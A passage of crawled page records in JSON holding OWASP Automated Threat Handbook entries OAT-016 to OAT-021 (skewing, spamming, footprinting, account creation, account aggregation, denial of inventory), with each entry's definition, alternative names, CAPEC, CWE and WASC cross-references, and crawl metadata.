{"uroven": 3, "text": "CAPEC Category / Attack Pattern IDs"}, {"uroven": 3, "text": "CWE Base / Class / Variant IDs"}, {"uroven": 3, "text": "WASC Threat IDs"}, {"uroven": 3, "text": "OWASP Attack Category / Attack IDs"}], "markdown": "# OAT-016 Skewing\n\n**Skewing** is an automated threat. The OWASP Automated Threat Handbook - Web Applications ([pdf](https://github.com/OWASP/www-project-automated-threats-to-web-applications/tree/master/assets/files/EN), [print](https://www.lulu.com/shop/colin-watson-and-tin-zaw/owasp-automated-threat-handbook/paperback/product-w4wj7qq.html)), an output of the [OWASP Automated Threats to Web Applications Project](../../../), provides a fuller guide to each threat, detection methods and countermeasures. The [threat identification chart](https://www.owasp.org/www-project-automated-threats-to-web-applications/assets/files/oat-ontology-decision-chart.pdf) helps to correctly identify the automated threat.\n\n## Definition\n\n### OWASP Automated Threat (OAT) Identity Number\n\nOAT-016\n\n### Threat Event Name\n\nSkewing\n\n### Summary Defining Characteristics\n\nRepeated link clicks, page requests or form submissions intended to alter some metric.\n\n### Indicative Diagram\n\n### Description\n\nAutomated repeated clicking or requesting or submitting content, affecting application-based metrics such as counts and measures of frequency and/or rate, some of which may have wider societal meaning. The metric or measurement may be visible to users (e.g. betting odds, likes, market/ dynamic pricing, visitor count, poll results, reviews) or hidden (e.g. application usage statistics, business performance indicators). Metrics may affect individuals/organisations as well as the application owner, e.g. alter user reputation, amplify viewpoints, spread illegal content, influence others, gain fame, or undermine someone else’s reputation.\n\nFor malicious inflation of costs, instead see [OAT-003 Cost-Inflation Fraud](OAT-003_Cost-Inflation_Fraud.html).\n\n### Other Names and Examples\n\nAI bot; Analytics poisoning; Biasing KPIs; Boosting friends/likes; Click fraud; Dynamic pricing hacking; Election fraud; Hit count fraud; Market distortion; Metric and statistic skewing; Page impression fraud; Poll/rating/review fraud; SEO; Stock manipulation; Survey skewing; Synthetic social media influence\n\n### See Also\n\n- [OAT-003 Cost-Inflation Fraud](OAT-003_Cost-Inflation_Fraud.html)\n- [OAT-017 Spamming](OAT-017_Spamming.html)\n- [OAT-019 Account Creation](OAT-019_Account_Creation.html)\n\n## Cross-References\n\n### CAPEC Category / Attack Pattern IDs\n\n- 210 Abuse Existing Functionality\n\n### CWE Base / Class / Variant IDs\n\n- 799 Improper Control of Interaction Frequency\n- 837 Improper Enforcement of a Single, Unique Action\n\n### WASC Threat IDs\n\n- 21 Insufficient Anti-Automation\n- 42 Abuse of Functionality\n\n### OWASP Attack Category / Attack IDs\n\n- Abuse of Functionality\n\nReturn to [OWASP Automated Threats to Web Applications Project](../../../).\n\n---\n\n[Watch](https://github.com/owasp/www-project-automated-threats-to-web-applications/subscription) [Star](https://github.com/owasp/www-project-automated-threats-to-web-applications)", "znaku_textu": 2835, "slov": 342, "odkazu": 48, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 22:13:55", "sha256": "262176b74ea523a563abb11e030675ea4403d5bb01577765aa9d4a7766a512d6", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/www-project-automated-threats-to-web-applications/tree/master/assets/files/EN", "https://www.lulu.com/shop/colin-watson-and-tin-zaw/owasp-automated-threat-handbook/paperback/product-w4wj7qq.html", "https://www.owasp.org/www-project-automated-threats-to-web-applications/assets/files/oat-ontology-decision-chart.pdf", "https://github.com/owasp/www-project-automated-threats-to-web-applications/subscription", "https://github.com/owasp/www-project-automated-threats-to-web-applications", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-017_Spamming.html", "titulek": "OAT-017 Spamming | OWASP Foundation", "h1": "OAT-017 Spamming", "popis": "OAT-017 Spamming on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-017_Spamming", "jazyk": "en", "robots_meta": "", "og": {"og:description": "OAT-017 Spamming on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "OAT-017 Spamming | OWASP Foundation", "og:url": "https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-017_Spamming.html", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OAT-017 Spamming"}, {"uroven": 2, "text": "Definition"}, {"uroven": 3, "text": "OWASP Automated Threat (OAT) Identity Number"}, {"uroven": 3, "text": "Threat Event Name"}, {"uroven": 3, "text": "Summary Defining Characteristics"}, {"uroven": 3, "text": "Indicative Diagram"}, {"uroven": 3, "text": "Description"}, {"uroven": 3, "text": "Other Names and Examples"}, {"uroven": 3, "text": "See Also"}, {"uroven": 2, "text": "Cross-References"}, {"uroven": 3, "text": "CAPEC Category / Attack Pattern IDs"}, {"uroven": 3, "text": "CWE Base / Class / Variant IDs"}, {"uroven": 3, "text": "WASC Threat IDs"}, {"uroven": 3, "text": "OWASP Attack Category / Attack IDs"}], "markdown": "# OAT-017 Spamming\n\n**Spamming** is an automated threat. The OWASP Automated Threat Handbook - Web Applications ([pdf](https://github.com/OWASP/www-project-automated-threats-to-web-applications/tree/master/assets/files/EN), [print](https://www.lulu.com/shop/colin-watson-and-tin-zaw/owasp-automated-threat-handbook/paperback/product-w4wj7qq.html)), an output of the [OWASP Automated Threats to Web Applications Project](../../../), provides a fuller guide to each threat, detection methods and countermeasures. The [threat identification chart](https://www.owasp.org/www-project-automated-threats-to-web-applications/assets/files/oat-ontology-decision-chart.pdf) helps to correctly identify the automated threat.\n\n## Definition\n\n### OWASP Automated Threat (OAT) Identity Number\n\nOAT-017\n\n### Threat Event Name\n\nSpamming\n\n### Summary Defining Characteristics\n\nMalicious or questionable information addition to public or private content, or messages.\n\n### Indicative Diagram\n\n### Description\n\nMalicious content can include malware, IFRAME distribution, photographs & videos, advertisements, stolen intellectual property, referrer spam and tracking/surveillance code. The content might be less overtly malicious but be an attempt to cause mischief, undertake search engine optimisation (SEO) or to dilute/hide other posts.\n\nThe mass abuse of broken form-to-email and form-to-SMS functions, to send messages to unintended recipients, is not included in this threat event, or any other in this ontology, since those are considered to be the exploitation of implementation flaws alone. For multiple use to inflate billable traffic, see [OAT-003 Cost-Inflation Fraud](OAT-003_Cost-Inflation_Fraud.html). For multiple use that distorts metrics, see [OAT-016 Skewing](OAT-016_Skewing.html) instead.\n\n### Other Names and Examples\n\nAI generated content; Blog spam; Bulletin board spam; Click-bait; Comment spam; Content spam; Content spoofing; Fake news; Form spam; Forum spam; Referrer spam; Reply bot; Review spam; SEO spam; Social media bot; Spambot; Synthetic media; Wiki spam\n\n### See Also\n\n- [OAT-003 Cost-Inflation Fraud](OAT-003_Cost-Inflation_Fraud.html)\n- [OAT-015 Denial of Service](OAT-015_Denial_of_Service.html)\n- [OAT-016 Skewing](OAT-016_Skewing.html)\n- [OAT-019 Account Creation](OAT-019_Account_Creation.html)\n\n## Cross-References\n\n### CAPEC Category / Attack Pattern IDs\n\n- 210 Abuse Existing Functionality\n\n### CWE Base / Class / Variant IDs\n\n- 799 Improper Control of Interaction Frequency\n- 837 Improper Enforcement of a Single, Unique Action\n\n### WASC Threat IDs\n\n- 21 Insufficient Anti-Automation\n- 42 Abuse of Functionality\n\n### OWASP Attack Category / Attack IDs\n\n- Abuse of Functionality\n\nReturn to [OWASP Automated Threats to Web Applications Project](../../../).\n\n---\n\n[Watch](https://github.com/owasp/www-project-automated-threats-to-web-applications/subscription) [Star](https://github.com/owasp/www-project-automated-threats-to-web-applications)", "znaku_textu": 2882, "slov": 360, "odkazu": 48, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 22:13:57", "sha256": "086945e83db8b006b720af888c03bbac64038e24ab7e1e8d214eb556544f1eb0", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/www-project-automated-threats-to-web-applications/tree/master/assets/files/EN", "https://www.lulu.com/shop/colin-watson-and-tin-zaw/owasp-automated-threat-handbook/paperback/product-w4wj7qq.html", "https://www.owasp.org/www-project-automated-threats-to-web-applications/assets/files/oat-ontology-decision-chart.pdf", "https://github.com/owasp/www-project-automated-threats-to-web-applications/subscription", "https://github.com/owasp/www-project-automated-threats-to-web-applications", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-018_Footprinting.html", "titulek": "OAT-018 Footprinting | OWASP Foundation", "h1": "OAT-018 Footprinting", "popis": "OAT-018 Footprinting on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-018_Footprinting", "jazyk": "en", "robots_meta": "", "og": {"og:description": "OAT-018 Footprinting on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "OAT-018 Footprinting | OWASP Foundation", "og:url": "https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-018_Footprinting.html", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OAT-018 Footprinting"}, {"uroven": 2, "text": "Definition"}, {"uroven": 3, "text": "OWASP Automated Threat (OAT) Identity Number"}, {"uroven": 3, "text": "Threat Event Name"}, {"uroven": 3, "text": "Summary Defining Characteristics"}, {"uroven": 3, "text": "Indicative Diagram"}, {"uroven": 3, "text": "Description"}, {"uroven": 3, "text": "Other Names and Examples"}, {"uroven": 3, "text": "See Also"}, {"uroven": 2, "text": "Cross-References"}, {"uroven": 3, "text": "CAPEC Category / Attack Pattern IDs"}, {"uroven": 3, "text": "CWE Base / Class / Variant IDs"}, {"uroven": 3, "text": "WASC Threat IDs"}, {"uroven": 3, "text": "OWASP Attack Category / Attack IDs"}], "markdown": "# OAT-018 Footprinting\n\n**Footprinting** is an automated threat. The OWASP Automated Threat Handbook - Web Applications ([pdf](https://github.com/OWASP/www-project-automated-threats-to-web-applications/tree/master/assets/files/EN), [print](https://www.lulu.com/shop/colin-watson-and-tin-zaw/owasp-automated-threat-handbook/paperback/product-w4wj7qq.html)), an output of the [OWASP Automated Threats to Web Applications Project](../../../), provides a fuller guide to each threat, detection methods and countermeasures. The [threat identification chart](https://www.owasp.org/www-project-automated-threats-to-web-applications/assets/files/oat-ontology-decision-chart.pdf) helps to correctly identify the automated threat.\n\n## Definition\n\n### OWASP Automated Threat (OAT) Identity Number\n\nOAT-018\n\n### Threat Event Name\n\nFootprinting\n\n### Summary Defining Characteristics\n\nProbe and explore application to identify its constituents and properties.\n\n### Indicative Diagram\n\n### Description\n\nInformation gathering with the objective of learning as much as possible about the composition, configuration and security mechanisms of the application. Unlike Scraping, Footprinting is an enumeration of the application itself, rather than the data. It is used to identify all the URL paths, parameters and values, and process sequences (i.e. to determine entry points, also collectively called the attack surface). As the application is explored, additional paths will be identified which in turn need to be examined.\n\nFootprinting can also include brute force, dictionary and guessing of file and directory names. Fuzzing may also be used to identify further application resources and capabilities. However, it does not include attempts to exploit weaknesses.\n\n### Other Names and Examples\n\nApplication analysis; API discovery; Application enumeration; Automated scanning; CGI scanning; Crawler; Crawling; Excavation; Forced browsing; Forceful browsing; Fuzzing; Micro service discovery; Scanning; Spidering; URL harvesting; WSDL scanning\n\n### See Also\n\n- [OAT-004 Fingerprinting](OAT-004_Fingerprinting.html)\n- [OAT-011 Scraping](OAT-011_Scraping.html)\n\n## Cross-References\n\n### CAPEC Category / Attack Pattern IDs\n\n- 169 Footprinting\n\n### CWE Base / Class / Variant IDs\n\n- 200 Information Exposure\n\n### WASC Threat IDs\n\n- 45 Fingerprinting\n\n### OWASP Attack Category / Attack IDs\n\n- Forced Browsing\n\nReturn to [OWASP Automated Threats to Web Applications Project](../../../).\n\n---\n\n[Watch](https://github.com/owasp/www-project-automated-threats-to-web-applications/subscription) [Star](https://github.com/owasp/www-project-automated-threats-to-web-applications)", "znaku_textu": 2574, "slov": 312, "odkazu": 48, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 22:13:52", "sha256": "47b061c3e3db60416141b65cdb13b2ba0b456f8532fafff951bc2c49c96ffe71", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/www-project-automated-threats-to-web-applications/tree/master/assets/files/EN", "https://www.lulu.com/shop/colin-watson-and-tin-zaw/owasp-automated-threat-handbook/paperback/product-w4wj7qq.html", "https://www.owasp.org/www-project-automated-threats-to-web-applications/assets/files/oat-ontology-decision-chart.pdf", "https://github.com/owasp/www-project-automated-threats-to-web-applications/subscription", "https://github.com/owasp/www-project-automated-threats-to-web-applications", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-019_Account_Creation.html", "titulek": "OAT-019 Account Creation | OWASP Foundation", "h1": "OAT-019 Account Creation", "popis": "OAT-019 Account Creation on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-019_Account_Creation", "jazyk": "en", "robots_meta": "", "og": {"og:description": "OAT-019 Account Creation on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "OAT-019 Account Creation | OWASP Foundation", "og:url": "https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-019_Account_Creation.html", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OAT-019 Account Creation"}, {"uroven": 2, "text": "Definition"}, {"uroven": 3, "text": "OWASP Automated Threat (OAT) Identity Number"}, {"uroven": 3, "text": "Threat Event Name"}, {"uroven": 3, "text": "Summary Defining Characteristics"}, {"uroven": 3, "text": "Indicative Diagram"}, {"uroven": 3, "text": "Description"}, {"uroven": 3, "text": "Other Names and Examples"}, {"uroven": 3, "text": "See Also"}, {"uroven": 2, "text": "Cross-References"}, {"uroven": 3, "text": "CAPEC Category / Attack Pattern IDs"}, {"uroven": 3, "text": "CWE Base / Class / Variant IDs"}, {"uroven": 3, "text": "WASC Threat IDs"}, {"uroven": 3, "text": "OWASP Attack Category / Attack IDs"}], "markdown": "# OAT-019 Account Creation\n\n**Account Creation** is an automated threat. The OWASP Automated Threat Handbook - Web Applications ([pdf](https://github.com/OWASP/www-project-automated-threats-to-web-applications/tree/master/assets/files/EN), [print](https://www.lulu.com/shop/colin-watson-and-tin-zaw/owasp-automated-threat-handbook/paperback/product-w4wj7qq.html)), an output of the [OWASP Automated Threats to Web Applications Project](../../../), provides a fuller guide to each threat, detection methods and countermeasures. The [threat identification chart](https://www.owasp.org/www-project-automated-threats-to-web-applications/assets/files/oat-ontology-decision-chart.pdf) helps to correctly identify the automated threat.\n\n## Definition\n\n### OWASP Automated Threat (OAT) Identity Number\n\nOAT-019\n\n### Threat Event Name\n\nAccount Creation\n\n### Summary Defining Characteristics\n\nCreate multiple accounts for subsequent misuse.\n\n### Indicative Diagram\n\n### Description\n\nBulk account creation, and sometimes profile population, by using the application’s account sign-up processes. The accounts are subsequently misused for generating content spam, laundering cash and goods, spreading malware, a ecting reputation, causing mischief, and skewing search engine optimisation (SEO), reviews and surveys.\n\nAccount Creation generates new accounts - see [OAT-007 Credential Cracking](OAT-007_Credential_Cracking.html) and [OAT-008 Credential Stuffing](OAT-008_Credential_Stuffing.html) for threat events that use existing accounts.\n\n### Other Names and Examples\n\nAccount pharming; Fake account; Fake social media account creation; Impersonator bot; Massive account registration; New account creation; Registering many user accounts\n\n### See Also\n\n- [OAT-007 Credential Cracking](OAT-007_Credential_Cracking.html)\n- [OAT-008 Credential Stuffing](OAT-008_Credential_Stuffing.html)\n- [OAT-017 Spamming](OAT-017_Spamming.html)\n\n## Cross-References\n\n### CAPEC Category / Attack Pattern IDs\n\n- 210 Abuse Existing Functionality\n\n### CWE Base / Class / Variant IDs\n\n- 799 Improper Control of Interaction Frequency\n- 837 Improper Enforcement of a Single, Unique Action\n- 841 Improper Enforcement of Behavioral Workflow\n\n### WASC Threat IDs\n\n- 21 Insufficient Anti-Automation\n- 42 Abuse of Functionality\n\n### OWASP Attack Category / Attack IDs\n\n- Abuse of Functionality\n\nReturn to [OWASP Automated Threats to Web Applications Project](../../../).\n\n---\n\n[Watch](https://github.com/owasp/www-project-automated-threats-to-web-applications/subscription) [Star](https://github.com/owasp/www-project-automated-threats-to-web-applications)", "znaku_textu": 2532, "slov": 292, "odkazu": 48, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 22:13:40", "sha256": "c9c7221074e0a41124bb242d9f79fe7c8d0920b5dcb6e1aa2bcba6aaf51f98c5", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/www-project-automated-threats-to-web-applications/tree/master/assets/files/EN", "https://www.lulu.com/shop/colin-watson-and-tin-zaw/owasp-automated-threat-handbook/paperback/product-w4wj7qq.html", "https://www.owasp.org/www-project-automated-threats-to-web-applications/assets/files/oat-ontology-decision-chart.pdf", "https://github.com/owasp/www-project-automated-threats-to-web-applications/subscription", "https://github.com/owasp/www-project-automated-threats-to-web-applications", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-020_Account_Aggregation.html", "titulek": "OAT-020 Account Aggregation | OWASP Foundation", "h1": "OAT-020 Account Aggregation", "popis": "OAT-020 Account Aggregation on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-020_Account_Aggregation", "jazyk": "en", "robots_meta": "", "og": {"og:description": "OAT-020 Account Aggregation on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "OAT-020 Account Aggregation | OWASP Foundation", "og:url": "https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-020_Account_Aggregation.html", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OAT-020 Account Aggregation"}, {"uroven": 2, "text": "Definition"}, {"uroven": 3, "text": "OWASP Automated Threat (OAT) Identity Number"}, {"uroven": 3, "text": "Threat Event Name"}, {"uroven": 3, "text": "Summary Defining Characteristics"}, {"uroven": 3, "text": "Indicative Diagram"}, {"uroven": 3, "text": "Description"}, {"uroven": 3, "text": "Other Names and Examples"}, {"uroven": 3, "text": "See Also"}, {"uroven": 2, "text": "Cross-References"}, {"uroven": 3, "text": "CAPEC Category / Attack Pattern IDs"}, {"uroven": 3, "text": "CWE Base / Class / Variant IDs"}, {"uroven": 3, "text": "WASC Threat IDs"}, {"uroven": 3, "text": "OWASP Attack Category / Attack IDs"}], "markdown": "# OAT-020 Account Aggregation\n\n**Account Aggregation** is an automated threat. The OWASP Automated Threat Handbook - Web Applications ([pdf](https://github.com/OWASP/www-project-automated-threats-to-web-applications/tree/master/assets/files/EN), [print](https://www.lulu.com/shop/colin-watson-and-tin-zaw/owasp-automated-threat-handbook/paperback/product-w4wj7qq.html)), an output of the [OWASP Automated Threats to Web Applications Project](../../../), provides a fuller guide to each threat, detection methods and countermeasures. The [threat identification chart](https://www.owasp.org/www-project-automated-threats-to-web-applications/assets/files/oat-ontology-decision-chart.pdf) helps to correctly identify the automated threat.\n\n## Definition\n\n### OWASP Automated Threat (OAT) Identity Number\n\nOAT-020\n\n### Threat Event Name\n\nAccount Aggregation\n\n### Summary Defining Characteristics\n\nUse by an intermediary collecting together multiple accounts and interacting on their behalf.\n\n### Indicative Diagram\n\n### Description\n\nCompilation of credentials and information from multiple application accounts into another system. This aggregation application may be used by a single user to merge information from multiple applications, or alternatively to merge information of many users of a single application. Commonly used for aggregating social media accounts, email accounts and financial accounts in order to obtain a consolidated overview, to provide integrated reporting and analysis, and to simplify usage and consumption by the user and/or their professional advisors. May include making changes to account properties and interacting with the aggregated application’s functionality.\n\nFor other forms of data harvesting, including the distribution of content, see [OAT-011 Scraping](OAT-011_Scraping.html). For hastening progress, see [OAT-006 Expediting](OAT-006_Expediting.html) instead.\n\n### Other Names and Examples\n\nAggregator; Assistant; Brokering; Client aggregator; Cloud services brokerage; Data aggregation; Financial account aggregator; Intermediarisation; Intermediation\n\n### See Also\n\n- [OAT-006 Expediting](OAT-006_Expediting.html)\n- [OAT-011 Scraping](OAT-011_Scraping.html)\n- [OAT-019 Account Creation](OAT-019_Account_Creation.html)\n\n## Cross-References\n\n### CAPEC Category / Attack Pattern IDs\n\n- 210 Abuse Existing Functionality\n\n### CWE Base / Class / Variant IDs\n\n- 799 Improper Control of Interaction Frequency\n\n### WASC Threat IDs\n\n- 21 Insufficient Anti-Automation\n- 42 Abuse of Functionality\n\n### OWASP Attack Category / Attack IDs\n\n- Abuse of Functionality\n\nReturn to [OWASP Automated Threats to Web Applications Project](../../../).\n\n---\n\n[Watch](https://github.com/owasp/www-project-automated-threats-to-web-applications/subscription) [Star](https://github.com/owasp/www-project-automated-threats-to-web-applications)", "znaku_textu": 2771, "slov": 327, "odkazu": 48, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 16:29:11", "sha256": "8abdddd27db1494a6b47513b757a8fdd56fe66a1a8158a3c51a381108bcf04d1", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/www-project-automated-threats-to-web-applications/tree/master/assets/files/EN", "https://www.lulu.com/shop/colin-watson-and-tin-zaw/owasp-automated-threat-handbook/paperback/product-w4wj7qq.html", "https://www.owasp.org/www-project-automated-threats-to-web-applications/assets/files/oat-ontology-decision-chart.pdf", "https://github.com/owasp/www-project-automated-threats-to-web-applications/subscription", "https://github.com/owasp/www-project-automated-threats-to-web-applications", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-021_Denial_of_Inventory.html", "titulek": "OAT-021 Denial of Inventory | OWASP Foundation", "h1": "OAT-021 Denial of Inventory", "popis": "OAT-021 Denial of Inventory on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-021_Denial_of_Inventory", "jazyk": "en", "robots_meta": "", "og": {"og:description": "OAT-021 Denial of Inventory on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "OAT-021 Denial of Inventory | OWASP Foundation", "og:url": "https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-021_Denial_of_Inventory.html", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OAT-021 Denial of Inventory"}, {"uroven": 2, "text": "Definition"}, {"uroven": 3, "text": "OWASP Automated Threat (OAT) Identity Number"}, {"uroven": 3, "text": "Threat Event Name"}, {"uroven": 3, "text": "Summary Defining Characteristics"}, {"uroven": 3, "text": "Indicative Diagram"}, {"uroven": 3, "text": "Description"}, {"uroven": 3, "text": "Other Names and Examples"}, {"uroven": 3, "text": "See Also"}, {"uroven": 2, "text": "Cross-References"}, {"uroven": 3, "text": "CAPEC Category / Attack Pattern IDs"}, {"uroven": 3, "text": "CWE Base / Class / Variant IDs"}, {"uroven": 3, "text": "WASC Threat IDs"}, {"uroven": 3, "text": "OWASP Attack Category / Attack IDs"}], "markdown": "# OAT-021 Denial of Inventory\n\n**Denial of Inventory** is an automated threat. The OWASP Automated Threat Handbook - Web Applications ([pdf](https://github.com/OWASP/www-project-automated-threats-to-web-applications/tree/master/assets/files/EN), [print](https://www.lulu.com/shop/colin-watson-and-tin-zaw/owasp-automated-threat-handbook/paperback/product-w4wj7qq.html)), an output of the [OWASP Automated Threats to Web Applications Project](../../../), provides a fuller guide to each threat, detection methods and countermeasures. The [threat identification chart](https://www.owasp.org/www-project-automated-threats-to-web-applications/assets/files/oat-ontology-decision-chart.pdf) helps to correctly identify the automated threat.\n\n## Definition\n\n### OWASP Automated Threat (OAT) Identity Number\n\nOAT-021\n\n### Threat Event Name\n\nDenial of Inventory\n\n### Summary Defining Characteristics\n\nDeplete goods or services stock without completing the purchase or committing to the transaction.\n\n### Indicative Diagram\n\n### Description\n\nSelection and holding of items from a limited inventory or stock, but which are never actually bought, or paid for, or confirmed, such that other users are unable to buy/pay/confirm the items themselves. It differs from [OAT-005 Scalping](OAT-005_Scalping.html) in that the goods or services are never actually acquired by the attacker.\n\nDenial of Inventory is most commonly thought of as taking ecommerce items out of circulation by adding many of them to a cart/basket; the attacker never actually proceeds to checkout to buy them but contributes to a possible stock-out condition. A variation of this automated threat event is making reservations (e.g. hotel rooms, restaurant tables, holiday bookings, flight seats), and/or click-and-collect without payment. But this exhaustion of inventory availability also occurs in other types of web application such as in the assignment of non-goods like service allocations, product rations, availability slots, queue positions, and budget apportionments.\n\nIf server resources are reduced see [OAT-015 Denial of Service](OAT-015_Denial_of_Service.html) instead. [OAT-005 Scalping](OAT-005_Scalping.html), Denial of Inventory also reduces the availability of goods or services.\n\n### Other Names and Examples\n\nHoarding; Hold all attack; Inventory depletion; Inventory exhaustion; Inventory hoarding; Seat spinning; Stock exhaustion\n\n### See Also\n\n- [OAT-005 Scalping](OAT-005_Scalping.html)\n- [OAT-013 Sniping](OAT-013_Sniping.html)\n- [OAT-015 Denial of Service](OAT-015_Denial_of_Service.html)\n\n## Cross-References\n\n### CAPEC Category / Attack Pattern IDs\n\n- 210 Abuse Existing Functionality\n\n### CWE Base / Class / Variant IDs\n\n- 799 Improper Control of Interaction Frequency\n- 841 Improper Enforcement of Behavioral Workflow\n\n### WASC Threat IDs\n\n- 21 Insufficient Anti-Automation\n- 42 Abuse of Functionality\n\n### OWASP Attack Category / Attack IDs\n\n- Abuse of Functionality\n\nReturn to [OWASP Automated Threats to Web Applications Project](../../../).\n\n---\n\n[Watch](https://github.com/owasp/www-project-automated-threats-to-web-applications/subscription) [Star](https://github.com/owasp/www-project-automated-threats-to-web-applications)", "znaku_textu": 3131, "slov": 401, "odkazu": 48, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 22:13:48", "sha256": "2a95eae820a8fa0445c2bee419f62a86b828a5426c6668906a333307c48776ea", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/www-project-automated-threats-to-web-applications/tree/master/assets/files/EN", "https://www.lulu.com/shop/colin-watson-and-tin-zaw/owasp-automated-threat-handbook/paperback/product-w4wj7qq.html", "https://www.owasp.org/www-project-automated-threats-to-web-applications/assets/files/oat-ontology-decision-chart.pdf", "https://github.com/owasp/www-project-automated-threats-to-web-applications/subscription", "https://github.com/owasp/www-project-automated-threats-to-web-applications", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-benchmark/", "titulek": "OWASP Benchmark | OWASP Foundation", "h1": "OWASP Benchmark", "popis": "The OWASP Benchmark Project contains language specific test suites designed to evaluate the accuracy, coverage, and speed of automated software vulnerability detection tools.", 